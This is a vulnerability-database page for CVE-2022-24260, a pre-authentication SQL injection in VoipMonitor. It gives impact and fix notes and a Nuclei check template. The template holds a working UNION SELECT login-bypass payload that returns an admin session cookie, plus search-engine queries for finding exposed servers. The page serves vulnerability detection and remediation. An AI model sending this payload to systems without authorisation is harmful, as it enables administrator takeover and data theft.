Browse / CVEs / CVE-2022-24260
CVE-2022-24260· voipmonitor / voipmonitor· CWE-89
VoipMonitor - Pre-Auth SQL Injection
criticalseverity
9.8CVSS score
50%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
Fix
Apply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.
How to confirm it
Send: POST /api.php
Positive when: contains "\"success\":true" and "_vm_version" and "_debug" AND status 200Run it with nuclei: nuclei -id CVE-2022-24260 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-24260
info:
name: VoipMonitor - Pre-Auth SQL Injection
author: gy741
severity: critical
description: A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.
reference:
- https://kerbit.io/research/read/blog/3
- https://nvd.nist.gov/vuln/detail/CVE-2022-24260
- https://www.voipmonitor.org/changelog-gui?major=5
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-24260
cwe-id: CWE-89
epss-score: 0.49992
epss-percentile: 0.98912
cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: voipmonitor
product: voipmonitor
shodan-query:
- http.title:"VoIPmonitor"
- http.title:"voipmonitor"
fofa-query: title="voipmonitor"
google-query: intitle:"voipmonitor"
tags: cve,cve2022,voipmonitor,sqli,unauth,vkev,vuln
http:
- raw:
- |
POST /api.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
module=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #
matchers-condition: and
matchers:
- type: word
words:
- '"success":true'
- '_vm_version'
- '_debug'
condition: and
- type: status
status:
- 200
extractors:
- type: kval
kval:
- PHPSESSIDReferences
- https://kerbit.io/research/read/blog/3
- https://nvd.nist.gov/vuln/detail/CVE-2022-24260
- https://www.voipmonitor.org/changelog-gui?major=5
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from